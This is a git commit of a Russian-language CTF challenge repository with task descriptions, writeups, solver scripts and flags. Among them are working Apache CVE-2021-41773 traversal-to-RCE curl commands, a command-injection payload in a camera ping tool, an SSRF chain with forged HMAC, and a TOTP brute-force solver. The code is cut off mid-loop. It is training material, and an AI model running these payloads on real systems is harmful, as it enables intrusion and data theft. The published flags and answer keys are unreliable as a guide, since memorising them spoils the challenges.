Init. import

This commit is contained in:
Caplag
2025-12-22 05:19:38 +03:00
commit 39a4c5e8ca
58 changed files with 3063 additions and 0 deletions

1
.gitattributes vendored Normal file
View File

@@ -0,0 +1 @@
* text=auto eol=lf

View File

@@ -0,0 +1,48 @@
## Информация для участников
Вы решили разобрать сложное задание по криптографии на этом соревновании? Ну что ж.
Найдите исходные данные по их хэшам, затем получите флаг. Хотя можно попытаться решить эту задачу и другим способом.
Удачи.
## Выдать участникам
Архив для участников: public/curves.zip
## Решение
Вычислены 10 хэшей MD5:
8483587262707 - 5608605adb1c304505ef09746779f83f
8787065451739 - ae51e62245a928c024156d98d8d79d2c
7027296101303 - a24dec0dc714aa94f11f386d91b59617
4144737805144 - 23fb15096a44d4d37de61fb6add86ea6
4478039461604 - 4c570982d47a82d228ec495e8867b23a
2256122270837 - a4294fa620dae1185d4470423a70b571
6898295132754 - 6818e1797a5b5d4be0d1d09c4b97f429
3715332022128 - ddc05896b932370647626e3d1af63ec1
9095657776904 - 2c1c4c489a14ed00e708af61dd1ed394
3881288361224 - 026aa157ff323798a9b0437f79b5b6fe
Для проверки необходимо расшифрованные числа вставить в соответствующее поле программы ("Расшифрованные значения"):
8483587262707
8787065451739
7027296101303
4144737805144
4478039461604
2256122270837
6898295132754
3715332022128
9095657776904
3881288361224
1. Каждое из чисел складывается друг с другом, в результате чего получается некоторое промежуточное число.
2. Это число шифруется ECC, затем вычисляется хэш SHAKE256 из шифрованного значения, который ксориться с константой, после чего в поле "Результат" выводится получившийся флаг.
Расшифровывается достаточно мощной видеокартой или несколькими, но если они отсутствует, то будет не так просто.
Требуется либо генерировать словари на 13-символьные числа, либо искать сервер с мощной видеокартой. Функции брутфорса хэшей В AI системах пока что не видел.
Оригинальные цифры нужно внести в поле "расшифрованные значения". Либо кто-то выполнит взлом хэша SHAKE256 и шифрования ECC числа, которое получается в результате сложения 10 исходных чисел (возможно, будет быстрее, но нужно отдельно писать код).
Если верить https://specopssoft.com/blog/best-password-practices-to-defend-against-modern-cracking-attacks/, то 13-ти символьные пароли взламываются мгновенно, но на достаточно дорогом оборудовании. На среднестатистическом перебор должен происходить в десятки или сотни раз медленней (несколько минут).
Аренда сервера с GTX 1080 8 ГБ DDR5X стоит примерно 1300 рублей за 1 день.
## Флаг
`caplag{5D0A1820-6694-4286-B844-5FE6FD93}`

View File

@@ -0,0 +1,19 @@
## Информация для участников
> В 2087 году корпорация NeoSys разработала революционную систему безопасности для своих устройств.
Хакеры сообщают, что ключ к системе скрыт в библиотеке libsecurity.so,
работающей на архитектуре ARM. Ваш работодатель готов хорошо заплатить за этот ключ...
## Выдать участникам
public/libsecurity.so
## Решение
Через IDA pro или Ghidra вынимаем алгоритм, переписываем его python скрипт
solve/solve.py
## Флаг
`caplag{4RM_L1NuX_H4ShT4G_1m_4_r34L_r3V3rS3R}`

View File

@@ -0,0 +1,26 @@
enc = [
0xFD,0x9C,0x43,0x42,0xA1,0xA0,0xEB,0x8F,0x21,
0x54,0x67,0x8A,0xEE,0x8C,0x3B,0x46,0x5D,0x60,
0xC0,0x97,0x72,0x1D,0xAF,0x63,0x1A,0xF4,0xAC,
0x6F,0xB5,0x79,0x2C,0xDA,0xD1,0x81,0x5C,0x1B,
0x19,0x85,0x2B,0xC7,0x5A,0x7F,0x9D,0x10,
]
def decode(data):
R1, LR = 0x17, 7
out = []
for b in data:
k = R1 & 0x7F
next_lr = (LR + 3) & 0xFF
R1 = (R1 + 5) & 0xFF
c = ((b ^ 0x55) - k) & 0xFF
c = ((c << 6) | (c >> 2)) & 0xFF
c ^= LR
LR = next_lr
out.append(c)
return bytes(out)
flag = decode(enc).decode()
print(flag)

View File

@@ -0,0 +1,17 @@
## Информация для участников
> Самый величественный город на земле — Москва — хранит свои тайны не только в архивах Кремля и подземельях Замоскворечья… Иногда правда прячется прямо на виду — в самом сердце столицы. Внимательно пригляделся?..
## Выдать участникам
файл public/task.png
## Решение
1) ```exiftool task.png``` - получаем метаданные, находим строку ```eJwFQDEKACAQeo9bkD8ScjkiyO8PohyIb2j8bPOuAjqEBfE=```
2) Через CyberChef делаем рецепт ```From base64 -> Detect File Type``` понимаем, что это Zlib. Меняем рецепт на ```From base64 -> Zlib Inflate``` и получаем результат ```ctf)c4pl4g)st3g4n0```. Запомним эту строку
3) Размер для обычной картинки слишком большой, значит что-то спрятано в нем. в CTF часто используют LSB, поэтому через StegSolve или python попробуем вытащить последнии биты с каналов. Вытащим 0 биты с каналов R, G, B и обнаружим большую строку, которая начинается с RC4=...
4) Первые символы обозначают, что скорее всего был использован шифр RC4. данные после = передаем в Cyberchef и используем рецепт ```From Base64 -> RC4 пароль:ctf)c4pl4g)st3g4n0 -> Detect File Type``` обнаруживаем, что это MP3.
5) Слушаем MP3, используем Reverse дорожки. В звуковой дорожке слышим буквы и цифры, запишим их и получаем такую строку ```C D G N 0 R 3 1 C T T L 8 Q 1 J E 8 P M I S R 1 E 1 N N 0 T B C C 5 P 7 6 O B P D 5 N 6 E T 3 8 C 5 Q 6 2 S P J C D Q N 4 P B 3 6 1 M N 0 T B K 6 D P 6 I S R F D P I N 8 Q 3 1 E H K N 6 T 3 L E 9 N 3 6 P 1 G C P J 7 Q```
6) Загружем эту строку в CyberChef, пробуем все Base* и находим, что Base32 подходит, получаем флаг
## Флаг
`caplag{Thereisapopularsayingthatasecurecomputerisonethatisturnedoff_38}`

View File

@@ -0,0 +1,13 @@
## Информация для участников
> Ну что, любимые реверсеры, вот вам обычный и "очень простой" таск :D
Всего-то надо вбить **логин** и **пароль** в Android-приложение и получить флаг
Ничего сложного: логин где-то спрятан, пароль как-то проверяется... да и вообще, всё уже лежит у вас под носом
## Выдать участникам
для участников: public/caplag-crackme.apk
## Решение
райтап - solve/solve.md
## Флаг
`caplag{ae98661c54fb5d0d2e769d21a23d4802c7a24eb98741680949ddb6ed9d8f3e53}`

View File

@@ -0,0 +1,52 @@
Разбор, исходя только из `caplag-crackme.apk`
## 1. Достаём логин из ресурсов
1. Распаковать APK или открыть в jadx: в `res/values/strings.xml` лежат строки `p0..p9`.
2. Склеиваем их: `EBUUBQ5JHhYGHQwOXREBERIMHV0N`.
3. Это Base64. Декодируем → байты.
4. В Java-коде (видно через jadx) эти байты XOR-ятся с ключом `"stdio.h"`. XOR даёт логин:
```
caplagveryeasyreverse
```
Быстрая проверка в консоли (при наличии python):
```bash
python - <<'PY'
import base64
chunks = ["EBU","UBQ","5JH","hYG","HQw","OXR","EBE","RIM","HV","0N"]
data = base64.b64decode("".join(chunks))
key = b"stdio.h"
print(bytes(b ^ key[i % len(key)] for i, b in enumerate(data)).decode())
PY
```
## 2. Реверс native-проверки (libcrack.so)
В `lib/*/libcrack.so` JNI-функция `checkAndGetFlag` выполняет:
1. `expected_pwd_raw = SHA256(login + "cryptoanalyzator")`
2. `key = SHA256(login + "s3cr3t_s@lt_42")`
3. `enc = AES-256-CBC(no padding, IV = 00 11 22 ... EE FF)`, шифрует `expected_pwd_raw`.
4. Сравнивает `enc` с константой `CIPHER_PASS`; сходится только при правильном логине.
5. Проверяет, что введённый пароль — hex(expected_pwd_raw) длиной 64 (регистр не важен).
6. Флаг: `caplag{ SHA256("Console.Readline();" + login + password_hex) }`.
Нужные константы все видны в дизасме/строках `.so`.
## 3. Считаем пароль и флаг
Используем найденный логин:
```bash
python - <<'PY'
import hashlib
login = "caplagveryeasyreverse"
pwd_hex = hashlib.sha256((login + "cryptoanalyzator").encode()).hexdigest()
print("login :", login)
print("pass :", pwd_hex)
flag = hashlib.sha256((b"Console.Readline();" + login.encode() + pwd_hex.encode())).hexdigest()
print("flag :", f"caplag{{{flag}}}")
PY
```
Итоговые значения:
- Логин: `caplagveryeasyreverse`
- Пароль: `7dc1b259bd1ad518e41cca334fca14bd03139a2c0b3566036efe6d2bbb43df4c`
- Флаг: `caplag{ae98661c54fb5d0d2e769d21a23d4802c7a24eb98741680949ddb6ed9d8f3e53}`

View File

@@ -0,0 +1,46 @@
## Информация для участников
- Образ на базе `vulhub/httpd:2.4.49`, включён `mod_cgi` и `ScriptAlias /cgi-bin/`.
- Версия Apache уязвима к CVE-2021-41773/42013 (traversal → RCE при включённом CGI).
- В контейнере есть пользователь `flagger` с флагом в `/home/flagger/flag.txt`.
- Для чтения флага подготовлен SUID-клон `cat` по пути `/opt/dir/ping`.
## Решение (пошаговый райтап)
### 1.
- `curl -I http://<ip>:<port>/` → заголовок `Server: Apache/2.4.49 (Unix)`.
- `curl http://<ip>:<port>/cgi-bin/test.sh` выдаёт `CGI is working!`, значит CGI разрешён.
### 2.
Apache 2.4.49/2.4.50 некорректно обрабатывает последовательность `.%2e/`, поэтому с `--path-as-is` можно выйти за `ScriptAlias`.
```bash
curl --path-as-is http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
```
Успешное чтение `/etc/passwd` подтверждает уязвимость.
### 3.
При включённом CGI можно вызвать системную `sh` напрямую:
```bash
curl --path-as-is -X POST \
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; id'
```
Команда выполняется от имени `www-data`.
### 4.
Через RCE находим SUID-бинарники и видим подготовленный `/opt/dir/ping`:
```bash
curl --path-as-is -X POST 'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; find / -perm -4000 -type f 2>/dev/null'
```
Так как директория `flagger` недоступна `www-data`, используем этот SUID-клон `cat`.
### 5.
Передаём полный путь к флагу в SUID-бинарник (не забывая про заголовок для CGI):
```bash
curl --path-as-is -X POST \
'http://<ip>:<port>/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh' \
--data 'echo Content-Type: text/plain; echo; /opt/dir/ping /home/flagger/flag.txt'
```
Ответом придёт содержимое флага.
## Флаг
`caplag{61102b34a11186dd03f6ffd2dd2892b9fc22bd137e5d2d29c6fdd804ac45ef8c}`

View File

@@ -0,0 +1,19 @@
## Информация для участников
> … вы поадаете в неизвестное вам место, пройдя через мерцающий синий портал.
Перед вами оказывается незнакомец, он вооружен огромным двухствольным дробовиком и выглядит внушительно.
Он протягивает вам табличку с текстом на неизвестном вам языке и вы сразу чувствуете что она содержит то, что вы искали.
Незнакомец: "Я чувствую демонов по всюду! Но эти трусливые создания прячутся в других измерениях,
помоги мне найти их и ты получишь что ищешь!".
"Для этого понадобится ~корень~ зла, он поможет отпереть их измерения, и я смогу покарать их!"
> Данные для входа:
> login : ctfer
> password : 0
## Выдать участникам
Архив для участников: public/public.rar
## Решение
райтап solve/solve.md
## Флаг
`caplag{d@em0N_sl4y3R}`

View File

@@ -0,0 +1,12 @@
0. lsblk - получаем список дисков, видим что есть размонтированная часть.
1. grep -rl --include="path.txt" "root" /home => получаем директорию в которой хранится рут пароль
2. cat /home/... директория из 1го пункта/path.txt
3. su => ввод root
4. for i in {1..5}; do
mount /dev/sd\*$i /mnt/portal_$i
5. заходим в каждый из дисков, и запускаем фоновое выполнение демона cd /mnt/portal\_\*
./demon_name.sh & (& для выполнения в фоне)
6. получаем респонс от основного демона о том что наша работа выполнена
7. в /home появляется файл с расшифрованным флагом
8. cat /home/letter.enc
9. вводим флаг на сайте соревнования

18
Esoteric-Misc/README.md Normal file
View File

@@ -0,0 +1,18 @@
## Информация для участников
> Вы спуститесь по кругам ада демонических языков и должны успеть вынести флаг раньше, чем синтаксис сожжёт вам мозг
## Выдать участникам
файл task [public/task](public/task)
## Решение
1) Создаем простой index.html с нашим task.js где лежит JSFuck. Начинаем отладку, чтобы узнать декодировать и получить JS код. Получаем: ```prompt("Введите пароль:") === "1923841672471623472319412844812675168723478561" ? console.log("тут верный bf код") : console.log("тут фейковый bf код")```
2) Вводим пароль ```1923841672471623472319412844812675168723478561``` и получаем верный BrainFuck код на ~23кб. Идем на сайт https://www.dcode.fr/brainfuck-language и декодируем его
3) Так как таск на эзотерические языки программирования, то понимаем, что этот код написан на Malbolge. Идем на сайт https://zb3.me/malbolge-tools/#interpreter и запускаем этот код. Получаем ```import base64; var1 = "U1IWD1IEGAQMC05SAl0SWFRGXgZcV1AJAVZBVV8QAFdEW1UQABMRBAMUA1hfCAtXCAZYUkFQBgtDCV9SRVdHWwNeGw=="; var2 = "03fc3cc4df7529e0d2654da8087f1d33"; func1 = lambda var0, var2: ''.join(chr(var0[i] ^ ord(var2[i % len(var2)])) for i in range(len(var0))); a3 = base64.b64decode(var1); a1 = func1(a3, var2); a2 = input(">>> "); print("The flag is correct!") if a2 == a1 else print("-_-")```
4) Нетрудно сообразить, что тут используется обычное XOR шифрование, где пароль это ```03fc3cc4df7529e0d2654da8087f1d33```, а данные это base64 строка ```U1IWD1IEGAQMC05SAl0SWFRGXgZcV1AJAVZBVV8QAFdEW1UQABMRBAMUA1hfCAtXCAZYUkFQBgtDCV9SRVdHWwNeGw==```. Идем на https://gchq.github.io/CyberChef. Сначала декодируем base64, а далее XOR с нашим паролем. В ответе получаем флаг
## Флаг
`caplag{0hmyg0dwh0th3h3111nv3nt3dth3s3pr0gr4mm1ngl4ngu4g3s1h4t3th3m}`

152
GAME/camera/solve_camera.py Normal file
View File

@@ -0,0 +1,152 @@
#!/usr/bin/env python3
import argparse
import hashlib
import http.cookiejar
import os
import re
import sys
from typing import Optional, Tuple
from urllib import parse, request
def sha1_hex(value: str) -> str:
return hashlib.sha1(value.encode("utf-8")).hexdigest()
def normalize_base(raw: str) -> str:
if "://" not in raw:
raw = "http://" + raw
return raw.rstrip("/")
def read_part_a(cli_value: Optional[str]) -> Optional[str]:
if cli_value:
return cli_value
env_value = os.getenv("PWD_PART_A")
if env_value:
return env_value
candidates = [
os.path.join(os.getcwd(), "web_camera_5.yml"),
os.path.join(os.path.dirname(__file__), "web_camera_5.yml"),
]
for path in candidates:
if not os.path.exists(path):
continue
try:
data = open(path, "r", encoding="utf-8", errors="ignore").read()
except OSError:
continue
match = re.search(r"PWD_PART_A=([^\s]+)", data)
if match:
return match.group(1)
return None
def get_uid(opener: request.OpenerDirector, base: str) -> Optional[str]:
resp = opener.open(base + "/login")
uid = resp.headers.get("X-Device-Id")
if uid:
return uid.strip()
body = resp.read().decode("utf-8", errors="ignore")
match = re.search(r"UID:\s*([A-Za-z0-9_-]+)", body)
return match.group(1) if match else None
def has_cookie(cj: http.cookiejar.CookieJar, name: str) -> bool:
return any(cookie.name == name for cookie in cj)
def login(
opener: request.OpenerDirector,
cj: http.cookiejar.CookieJar,
base: str,
uid: str,
part_a: str,
) -> str:
password = sha1_hex(f"{part_a}:{uid}")[:10]
data = parse.urlencode({"username": "admin", "password": password}).encode("utf-8")
req = request.Request(base + "/login", data=data, method="POST")
opener.open(req).read()
if not has_cookie(cj, "sid"):
raise RuntimeError("login failed: no session cookie")
return password
def find_flag(text: str) -> Optional[str]:
match = re.search(r"caplag\{[^}]+\}[^\s<]*", text)
return match.group(0) if match else None
def exploit_ping(
opener: request.OpenerDirector,
base: str,
) -> Tuple[Optional[str], Optional[str], str]:
payload = "127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C"
data = parse.urlencode({"host": payload}).encode("utf-8")
req = request.Request(base + "/admin/tools/ping", data=data, method="POST")
text = opener.open(req).read().decode("utf-8", errors="ignore")
rce_match = re.search(r"RCE:([^\s<]+)", text)
partc_match = re.search(r"PARTC:([^\s<]+)", text)
rce_flag = rce_match.group(1) if rce_match else find_flag(text)
part_c = partc_match.group(1) if partc_match else None
return rce_flag, part_c, text
def redeem_flag(
opener: request.OpenerDirector,
base: str,
part_a: str,
part_c: str,
uid: str,
) -> Tuple[str, Optional[str]]:
key = sha1_hex(f"{part_a}:{part_c}:{uid}")[:16]
data = parse.urlencode({"key": key}).encode("utf-8")
req = request.Request(base + "/admin/redeem", data=data, method="POST")
text = opener.open(req).read().decode("utf-8", errors="ignore")
return key, find_flag(text)
def main() -> int:
parser = argparse.ArgumentParser(description="Solve LookyCam challenge.")
parser.add_argument("--url", default="http://127.0.0.1:8070", help="Base URL")
parser.add_argument("--part-a", dest="part_a", help="PWD_PART_A value")
args = parser.parse_args()
base = normalize_base(args.url)
part_a = read_part_a(args.part_a)
if not part_a:
print("PWD_PART_A not provided and not found in web_camera_5.yml", file=sys.stderr)
return 2
cj = http.cookiejar.CookieJar()
opener = request.build_opener(request.HTTPCookieProcessor(cj))
uid = get_uid(opener, base)
if not uid:
print("Failed to determine CAMERA_UID from /login", file=sys.stderr)
return 2
try:
password = login(opener, cj, base, uid, part_a)
except RuntimeError as exc:
print(str(exc), file=sys.stderr)
return 2
rce_flag, part_c, _ = exploit_ping(opener, base)
if not part_c:
print("Failed to extract PWD_PART_C via ping injection", file=sys.stderr)
return 2
key, final_flag = redeem_flag(opener, base, part_a, part_c, uid)
print(f"uid: {uid}")
print(f"login_password: {password}")
print(f"rce_flag: {rce_flag or 'not found'}")
print(f"part_c: {part_c}")
print(f"redeem_key: {key}")
print(f"final_flag: {final_flag or 'not found'}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

53
GAME/camera/writeup.md Normal file
View File

@@ -0,0 +1,53 @@
# Writeup: LookyCam (camera)
Ниже — ожидаемый путь решения: добыть UID, вычислить пароль администратора по подсказанной KDF, получить RCE через ping и собрать финальный ключ.
## Шаги решения
1. PWD_PART_A -получили из стеги в хранилище
1. Открыть `/login` и получить `CAMERA_UID`. Он приходит в заголовке `X-Device-Id` и дублируется на странице.
2. Сымитировать 3 неудачных логина. После третьей попытки сервер вернёт заголовок `X-Password-KDF` с формулой:
`sha1(part + ":" + uid)[0:10]`.
3. Подставить известную часть `partA` и посчитать пароль:
`password = sha1(partA:uid)[:10]`.
4. Войти в `/admin` под `admin` с этим паролем и получить сессию.
5. В `/admin/tools/ping` есть command injection: значение `host` без фильтрации попадает в `sh -lc "ping ... ${host}"`.
Через `;` можно выполнить произвольные команды и прочитать переменные окружения:
`127.0.0.1; echo RCE:$CAMERA_RCE_FLAG; echo PARTC:$PWD_PART_C`
6. Из ответа взять `PWD_PART_C` и флаг RCE.
7. Посчитать ключ для `/admin/redeem`:
`key = sha1(partA:partC:uid)[:16]`.
8. Отправить ключ в `/admin/redeem` и получить финальный флаг.
## Примеры запросов
```bash
# 1) UID
curl -i http://<host>/login
# 2) 3 фейл-логина, смотрим X-Password-KDF в ответе
curl -i -d "username=admin&password=bad" http://<host>/login
# 3) Логин с правильным паролем
curl -i -c cookies.txt -d "username=admin&password=<calc>" http://<host>/login
# 4) Инъекция в ping
curl -i -b cookies.txt -d "host=127.0.0.1; echo RCE:\$CAMERA_RCE_FLAG; echo PARTC:\$PWD_PART_C" \
http://<host>/admin/tools/ping
# 5) Редим финального флага
curl -i -b cookies.txt -d "key=<calc>" http://<host>/admin/redeem
```
```python
import hashlib
def sha1(x: str) -> str:
return hashlib.sha1(x.encode()).hexdigest()
uid = "LCAM-9f31"
part_a = "..."
part_c = "..."
password = sha1(f"{part_a}:{uid}")[:10]
key = sha1(f"{part_a}:{part_c}:{uid}")[:16]
print(password, key)
```

18
GAME/kettle/solve.sh Normal file
View File

@@ -0,0 +1,18 @@
#!/usr/bin/env bash
# Параметры из деплоя
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
# Метка времени (секунды)
TS=$(date +%s)
# MAC = HMAC-SHA256(key=PROOF:NONCE, msg="URL\nTS")
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
echo $MAC
echo $TS
# Запрос
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
-H "Content-Type: application/json" \
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"

55
GAME/kettle/writeup.md Normal file
View File

@@ -0,0 +1,55 @@
# Разбор решения задачи Kettle
Разбор для участников (с учётом: PROOF уже есть из «принтера», исходники найдены на GitHub).
## Ключевая логика из исходников
- В `files/server.js` видно, что `/diagnostics` отдаёт `X-Device-ID` — это `KETTLE_NONCE`. В UI показываются только последние 4 символа, поэтому полный nonce берём из заголовка ответа.
- `/diagnostics/fetch` принимает JSON с `proof`, `ts`, `mac`, `url` и проверяет:
- `proof` должен совпасть с PRINTER_PROOF (у вас он уже есть из задания с принтером),
- `ts` — свежий (±300 сек),
- `mac` — HMAC-SHA256 по формуле: `key = PROOF:NONCE`, `msg = "URL\nTS"`.
- `url` должен начинаться с разрешённого хоста. В проде в whitelist попадают `printer...` и `nas...`, поэтому можно использовать «принтер» как стартовый хост и через него уйти на `nas/internal/hint`.
- Kettle делает запрос к NAS с нужными заголовками (`X-Shared-Key` и пр.), поэтому прямой доступ извне обычно не работает — нужен именно прокси через kettle.
## Практический путь
1) Узнать nonce из заголовка:
```bash
curl -i https://kettle.caplag-task.ru/diagnostics | rg -i x-device-id
```
2) Собрать URL на «принтер» с редиректом на NAS:
```
https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint
```
3) где PRINTER_PROOF=PROOF который получили на прошлом таске( как понять что нужен пруф принтера, по дефолтной ссылке диагностики)
4) Посчитать подпись и отправить запрос:
```bash
PROOF="printer-proof-3d3130"
NONCE="kettle-nonce-74c1"
URL="https://printer.caplag-task.ru/go?u=https://nas.caplag-task.ru/internal/hint"
TS=$(date +%s)
KEY="${PROOF}:${NONCE}"
MAC=$(printf "%s\n%s" "$URL" "$TS" | openssl dgst -sha256 -hmac "$KEY" -hex | awk '{print $2}')
curl -X POST -i "https://kettle.caplag-task.ru/diagnostics/fetch" \
-H "Content-Type: application/json" \
-d "{\"proof\":\"$PROOF\",\"ts\":\"$TS\",\"mac\":\"$MAC\",\"url\":\"$URL\"}"
```
В ответ так же получаем:
заголовки:
X-Kettle-Proof: kettle-proof-90fa
тело:
caplag{chain_electric_kettle_ssrf_g1ve_acce$_to_the_nas}
JWT_SECRET_XOR_HEX=de223a4935e307f1982a486b14958da5d93f3d5337
game_code=ooooooyeeeeah_we_have_got_SuperAdmin_account_to_nas

317
GAME/narod/solver.py Normal file
View File

@@ -0,0 +1,317 @@
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import hmac
import http.cookiejar
import json
import re
import ssl
import struct
import sys
import time
import urllib.error
import urllib.parse
import urllib.request
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
def read_target_file(path):
url = None
parta = None
user = None
try:
with open(path, "r", encoding="utf-8") as fh:
for raw in fh:
line = raw.strip()
if not line or line.startswith("#"):
continue
if "=" in line:
key, value = line.split("=", 1)
key = key.strip().lower()
value = value.strip()
if key in ("url", "target", "host"):
url = value
elif key in ("parta", "pwd_part_a", "pwda", "a"):
parta = value
elif key in ("user", "username", "narod_user"):
user = value
else:
if url is None:
url = line
elif parta is None:
parta = line
elif user is None:
user = line
except FileNotFoundError:
return None, None, None
return url, parta, user
def normalize_base(url):
url = (url or "").strip()
if not url:
return ""
if not re.match(r"^https?://", url, re.IGNORECASE):
url = "http://" + url
return url.rstrip("/")
def make_opener(jar, insecure=False):
handlers = [urllib.request.HTTPCookieProcessor(jar)]
if insecure:
ctx = ssl._create_unverified_context()
handlers.append(urllib.request.HTTPSHandler(context=ctx))
return urllib.request.build_opener(*handlers)
def http_request(opener, method, url, data=None, headers=None, timeout=10):
headers = dict(headers or {})
body = None
if data is not None:
if isinstance(data, dict):
body = urllib.parse.urlencode(data).encode("utf-8")
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
elif isinstance(data, (bytes, bytearray)):
body = data
else:
body = str(data).encode("utf-8")
req = urllib.request.Request(url, data=body, headers=headers, method=method)
try:
with opener.open(req, timeout=timeout) as resp:
return resp.getcode(), resp.headers, resp.read()
except urllib.error.HTTPError as exc:
return exc.code, exc.headers, exc.read()
def extract_username(html_text):
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
return m.group(1) if m else None
def extract_pepper_xor_hex(map_text):
try:
data = json.loads(map_text)
except json.JSONDecodeError:
return None
for src in data.get("sourcesContent", []):
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
if m:
return m.group(1).lower()
return None
def derive_part_b(user, pepper_xor_hex):
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
pepper_bytes = bytes.fromhex(pepper_xor_hex)
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
return out.decode("utf-8", errors="replace")
def derive_pass(parta, partb):
material = f"{parta}:{partb}".encode("utf-8")
return hashlib.sha1(material).hexdigest()[:12]
def trusted_headers(pass_hash):
ts = str(int(time.time()))
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
return {"X-TS": ts, "X-Trusted-Device": sig}
def base32_decode(secret_b32):
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
pad = "=" * ((8 - (len(secret) % 8)) % 8)
return base64.b32decode(secret + pad, casefold=True)
def hotp(secret_bytes, counter):
msg = struct.pack(">Q", counter)
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
offset = digest[-1] & 0x0F
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
return f"{code % 1_000_000:06d}"
def totp(secret_b32, timestamp, step=30):
key = base32_decode(secret_b32)
counter = int(timestamp // step)
return hotp(key, counter)
def fetch_server_offset(opener, base_url):
status_url = base_url + "/__status__"
code, _, body = http_request(opener, "GET", status_url)
if code != 200:
return 0.0
try:
data = json.loads(body.decode("utf-8"))
server_ms = float(data.get("now", 0))
if server_ms:
return (server_ms / 1000.0) - time.time()
except (ValueError, json.JSONDecodeError):
pass
return 0.0
def login(opener, base_url, user, password, trusted=False):
headers = {}
if trusted:
headers.update(trusted_headers(password))
data = {"username": user, "password": password}
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
def get_masked_secret(opener, base_url):
headers = {"Referer": base_url + "/profile"}
code, _, body = http_request(
opener,
"GET",
base_url + "/profile/export?fmt=ini",
headers=headers,
)
if code != 200:
return None
text = body.decode("utf-8", errors="replace")
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
return m.group(1) if m else None
def iter_candidates(masked_secret):
if not masked_secret or not masked_secret.endswith("??"):
return
prefix = masked_secret[:-2].upper()
for a in BASE32_ALPHABET:
for b in BASE32_ALPHABET:
yield prefix + a + b
def mfa_attempt(opener, base_url, otp_code):
code, _, body = http_request(
opener,
"POST",
base_url + "/mfa",
data={"otp": otp_code},
)
if code == 200 and b"/wallet" in body:
return True
return False
def fetch_flag(opener, base_url):
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
if code != 200:
return None, None
text = body.decode("utf-8", errors="replace")
flag = None
game_code = None
m_flag = re.search(r"flag\{[^}]+\}", text)
if m_flag:
flag = m_flag.group(0)
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
if m_code:
game_code = m_code.group(0)
return flag, game_code
def main():
parser = argparse.ArgumentParser(description="NarodUslugi solver")
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
parser.add_argument("--parta", help="PWD_PART_A value")
parser.add_argument("--user", help="Override username")
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
args = parser.parse_args()
file_url, file_parta, file_user = read_target_file(args.target_file)
base_url = normalize_base(args.url or file_url)
parta = args.parta or file_parta
user = args.user or file_user
if not base_url:
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
sys.exit(1)
jar = http.cookiejar.CookieJar()
opener = make_opener(jar, insecure=args.insecure)
code, _, body = http_request(opener, "GET", base_url + "/")
if code != 200:
print(f"Failed to load login page: {code}", file=sys.stderr)
sys.exit(1)
html = body.decode("utf-8", errors="replace")
if not user:
user = extract_username(html)
if not user:
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
sys.exit(1)
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
if code != 200:
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
sys.exit(1)
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
if not pepper_xor_hex:
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
sys.exit(1)
partb = derive_part_b(user, pepper_xor_hex)
if not parta:
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
sys.exit(1)
password = derive_pass(parta, partb)
# Trusted login to get masked OTP secret.
trusted_jar = http.cookiejar.CookieJar()
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
if code == 429:
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
sys.exit(1)
if code != 200:
print(f"Trusted-device login failed: {code}", file=sys.stderr)
sys.exit(1)
masked_secret = get_masked_secret(trusted_opener, base_url)
if not masked_secret:
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
sys.exit(1)
offset = fetch_server_offset(opener, base_url)
attempts = 0
session_opener = None
for candidate in iter_candidates(masked_secret):
if session_opener is None or attempts >= args.max_per_session:
session_jar = http.cookiejar.CookieJar()
session_opener = make_opener(session_jar, insecure=args.insecure)
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
if code != 200:
print(f"Login failed during brute-force: {code}", file=sys.stderr)
sys.exit(1)
attempts = 0
now = time.time() + offset
otp = totp(candidate, now)
if mfa_attempt(session_opener, base_url, otp):
